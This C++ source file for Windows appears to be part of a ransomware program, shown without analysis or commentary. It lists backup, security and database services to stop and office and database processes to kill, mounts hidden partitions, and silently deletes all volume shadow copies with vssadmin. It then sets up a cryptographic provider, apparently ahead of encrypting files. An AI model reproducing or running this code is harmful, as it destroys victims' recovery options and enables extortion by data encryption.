| | #include <windows.h>
|
| | #include <tlhelp32.h>
|
| |
|
| | #include "another.h"
|
| | #include "memory.h"
|
| | #include "debug.h"
|
| |
|
| | static const CHAR* services_to_stop[] = { "vss", "sql", "svc$", "memtas", "mepocs", "sophos", "veeam", "backup", "GxVss", "GxBlr", "GxFWD", "GxCVD", "GxCIMgr", "DefWatch", "ccEvtMgr", "ccSetMgr", "SavRoam", "RTVscan", "QBFCService", "QBIDPService", "Intuit.QuickBooks.FCS", "QBCFMonitorService", "YooBackup", "YooIT", "zhudongfangyu", "sophos", "stc_raw_agent", "VSNAPVSS", "VeeamTransportSvc", "VeeamDeploymentService", "VeeamNFSSvc", "veeam", "PDVFSService", "BackupExecVSSProvider", "BackupExecAgentAccelerator", "BackupExecAgentBrowser", "BackupExecDiveciMediaService", "BackupExecJobEngine", "BackupExecManagementService", "BackupExecRPCService", "AcrSch2Svc", "AcronisAgent", "CASAD2DWebSvc", "CAARCUpdateSvc" };
|
| |
|
| | static const WCHAR* processes_to_stop[] = { L"sql.exe", L"oracle.exe", L"ocssd.exe", L"dbsnmp.exe", L"synctime.exe", L"agntsvc.exe", L"isqlplussvc.exe", L"xfssvccon.exe", L"mydesktopservice.exe", L"ocautoupds.exe", L"encsvc.exe", L"firefox.exe", L"tbirdconfig.exe", L"mydesktopqos.exe", L"ocomm.exe", L"dbeng50.exe", L"sqbcoreservice.exe", L"excel.exe", L"infopath.exe", L"msaccess.exe", L"mspub.exe", L"onenote.exe", L"outlook.exe", L"powerpnt.exe", L"steam.exe", L"thebat.exe", L"thunderbird.exe", L"visio.exe", L"winword.exe", L"wordpad.exe", L"notepad.exe" };
|
| |
|
| | void _load_hidden_partitions() {
|
| | LPCWSTR driveLetters[26] = {
|
| | L"Q:\\", L"W:\\", L"E:\\", L"R:\\", L"T:\\",
|
| | L"Y:\\", L"U:\\", L"I:\\", L"O:\\", L"P:\\",
|
| | L"A:\\", L"S:\\", L"D:\\", L"F:\\", L"G:\\",
|
| | L"H:\\", L"J:\\", L"K:\\", L"L:\\", L"Z:\\",
|
| | L"X:\\", L"C:\\", L"V:\\", L"B:\\", L"N:\\",
|
| | L"M:\\"
|
| | };
|
| | LPCWSTR freeLetters[26];
|
| |
|
| | DWORD driveCounter = 0;
|
| | DWORD driveSize = 120;
|
| | DWORD retSize = 0;
|
| | WCHAR drive[260];
|
| |
|
| | for (int i = 0; i < 26; i++) {
|
| | if (GetDriveTypeW(driveLetters[i]) == DRIVE_NO_ROOT_DIR) {
|
| | freeLetters[driveCounter++] = driveLetters[i];
|
| | }
|
| | }
|
| |
|
| | drive[0] = L'\0';
|
| | if (WCHAR* volume = (WCHAR*)_halloc(32768 * sizeof(WCHAR))) {
|
| | if (WCHAR* partition = (WCHAR*)_halloc(32768 * sizeof(WCHAR))) {
|
| | HANDLE hFind = FindFirstVolumeW(volume, 32768);
|
| | do {
|
| | if (driveCounter > 0) {
|
| | if (GetVolumePathNamesForVolumeNameW(volume, drive, driveSize, &retSize)) {
|
| | if (lstrlenW(drive) == 3) {
|
| | drive[0] = L'\0';
|
| | continue;
|
| | }
|
| | }
|
| | SetVolumeMountPointW(freeLetters[--driveCounter], volume);
|
| | }
|
| | else break;
|
| | } while (FindNextVolumeW(hFind, volume, 32768));
|
| | FindVolumeClose(hFind);
|
| | _hfree(partition);
|
| | }
|
| | _hfree(volume);
|
| | }
|
| | }
|
| |
|
| | BOOL IsWow64()
|
| | {
|
| | BOOL bIsWow64 = 0;
|
| | typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
|
| | LPFN_ISWOW64PROCESS fnIsWow64Process;
|
| | fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
|
| |
|
| | if (0 != fnIsWow64Process)
|
| | {
|
| | if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))
|
| | {
|
| | bIsWow64 = 0;
|
| | }
|
| | }
|
| | return bIsWow64;
|
| | }
|
| |
|
| | void _remove_shadows() {
|
| | PVOID oldValue = 0;
|
| |
|
| | if (IsWow64()) {
|
| | typedef BOOL(WINAPI* fnc)(PVOID*);
|
| | HMODULE lib = LoadLibraryA("kernel32.dll");
|
| | FARPROC addr = GetProcAddress(lib, "Wow64DisableWow64FsRedirection");
|
| | if (addr) ((fnc)addr)(&oldValue);
|
| | }
|
| |
|
| | ShellExecuteW(0, L"open", L"cmd.exe", L"/c vssadmin.exe delete shadows /all /quiet", 0, SW_HIDE);
|
| |
|
| | if (IsWow64()) {
|
| | typedef BOOL(WINAPI* fnc)(PVOID);
|
| | HMODULE lib = LoadLibraryA("kernel32.dll");
|
| | FARPROC addr = GetProcAddress(lib, "Wow64RevertWow64FsRedirection");
|
| | if (addr) ((fnc)addr)(oldValue);
|
| | }
|
| | }
|
| |
|
| | void _stop_services() {
|
| | SERVICE_STATUS_PROCESS sspMain;
|
| | SERVICE_STATUS_PROCESS sspDep;
|
| |
|
| | ENUM_SERVICE_STATUSA ess;
|
| |
|
| | DWORD dwBytesNeeded;
|
| | DWORD dwWaitTime;
|
| | DWORD dwCount;
|
| |
|
| | LPENUM_SERVICE_STATUSA lpDependencies = 0;
|
| |
|
| | DWORD dwStartTime = GetTickCount();
|
| | DWORD dwTimeout = 30000;
|
| |
|
| | if (SC_HANDLE scManager = OpenSCManagerA(0, 0, SC_MANAGER_ALL_ACCESS)) {
|
| | for (int i = 0; i < _countof(services_to_stop); i++) {
|
| | if (SC_HANDLE schHandle = OpenServiceA(
|
| | scManager,
|
| | services_to_stop[i],
|
| | SERVICE_STOP |
|
| | SERVICE_QUERY_STATUS |
|
| | SERVICE_ENUMERATE_DEPENDENTS)) {
|
| | if (QueryServiceStatusEx(schHandle,
|
| | SC_STATUS_PROCESS_INFO,
|
| | (LPBYTE)&sspMain,
|
| | sizeof(SERVICE_STATUS_PROCESS),
|
| | &dwBytesNeeded)) {
|
| | if (sspMain.dwCurrentState != SERVICE_STOPPED && sspMain.dwCurrentState != SERVICE_STOP_PENDING) {
|
| | if (!EnumDependentServicesA(schHandle,
|
| | SERVICE_ACTIVE,
|
| | lpDependencies,
|
| | 0,
|
| | &dwBytesNeeded,
|
| | &dwCount)) {
|
| | if (GetLastError() == ERROR_MORE_DATA) {
|
| | if (lpDependencies = (LPENUM_SERVICE_STATUSA)_halloc(dwBytesNeeded)) {
|
| | if (EnumDependentServicesA(schHandle,
|
| | SERVICE_ACTIVE,
|
| | lpDependencies,
|
| | dwBytesNeeded,
|
| | &dwBytesNeeded,
|
| | &dwCount)) {
|
| | ess = *(lpDependencies + i);
|
| |
|
| | if (SC_HANDLE hDepService = OpenServiceA(
|
| | scManager,
|
| | ess.lpServiceName,
|
| | SERVICE_STOP |
|
| | SERVICE_QUERY_STATUS)) {
|
| | if (ControlService(hDepService,
|
| | SERVICE_CONTROL_STOP,
|
| | (LPSERVICE_STATUS)&sspDep)) {
|
| | while (sspDep.dwCurrentState != SERVICE_STOPPED)
|
| | {
|
| | Sleep(sspDep.dwWaitHint);
|
| | if (QueryServiceStatusEx(
|
| | hDepService,
|
| | SC_STATUS_PROCESS_INFO,
|
| | (LPBYTE)&sspDep,
|
| | sizeof(SERVICE_STATUS_PROCESS),
|
| | &dwBytesNeeded)) {
|
| | if (sspDep.dwCurrentState == SERVICE_STOPPED || GetTickCount() - dwStartTime > dwTimeout) {
|
| | break;
|
| | }
|
| | }
|
| | }
|
| |
|
| | CloseServiceHandle(hDepService);
|
| | }
|
| | }
|
| | }
|
| |
|
| | _hfree(lpDependencies);
|
| | }
|
| | }
|
| | }
|
| | if (ControlService(schHandle,
|
| | SERVICE_CONTROL_STOP,
|
| | (LPSERVICE_STATUS)&sspMain)) {
|
| | while (sspMain.dwCurrentState != SERVICE_STOPPED)
|
| | {
|
| | Sleep(sspMain.dwWaitHint);
|
| | if (!QueryServiceStatusEx(
|
| | schHandle,
|
| | SC_STATUS_PROCESS_INFO,
|
| | (LPBYTE)&sspMain,
|
| | sizeof(SERVICE_STATUS_PROCESS),
|
| | &dwBytesNeeded))
|
| | {
|
| | goto stop_cleanup;
|
| | }
|
| |
|
| | if (sspMain.dwCurrentState == SERVICE_STOPPED)
|
| | break;
|
| |
|
| | if (GetTickCount() - dwStartTime > dwTimeout)
|
| | {
|
| | goto stop_cleanup;
|
| | }
|
| | }
|
| | }
|
| | }
|
| | }
|
| |
|
| | stop_cleanup:;
|
| | CloseServiceHandle(schHandle);
|
| | }
|
| | }
|
| |
|
| | CloseServiceHandle(scManager);
|
| | }
|
| | }
|
| |
|
| | void _stop_processes() {
|
| | HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
|
| | PROCESSENTRY32W pEntry;
|
| | pEntry.dwSize = sizeof(pEntry);
|
| | BOOL hRes = Process32FirstW(hSnapShot, &pEntry);
|
| | while (hRes)
|
| | {
|
| | for (int i = 0; i < _countof(processes_to_stop); i++) {
|
| | if (lstrcmpW(processes_to_stop[i], pEntry.szExeFile) == 0) {
|
| | HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD)pEntry.th32ProcessID);
|
| | if (hProcess != NULL)
|
| | {
|
| | TerminateProcess(hProcess, 9);
|
| | CloseHandle(hProcess);
|
| | }
|
| | break;
|
| | }
|
| | }
|
| | hRes = Process32NextW(hSnapShot, &pEntry);
|
| | }
|
| | CloseHandle(hSnapShot);
|
| | }
|
| |
|
| | HCRYPTPROV gen_context()
|
| | {
|
| | HCRYPTPROV hProv = NULL;
|
| | if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) &&
|
| | !CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT | CRYPT_NEWKEYSET)) hProv = NULL;
|
| | return hProv;
|
| | } |
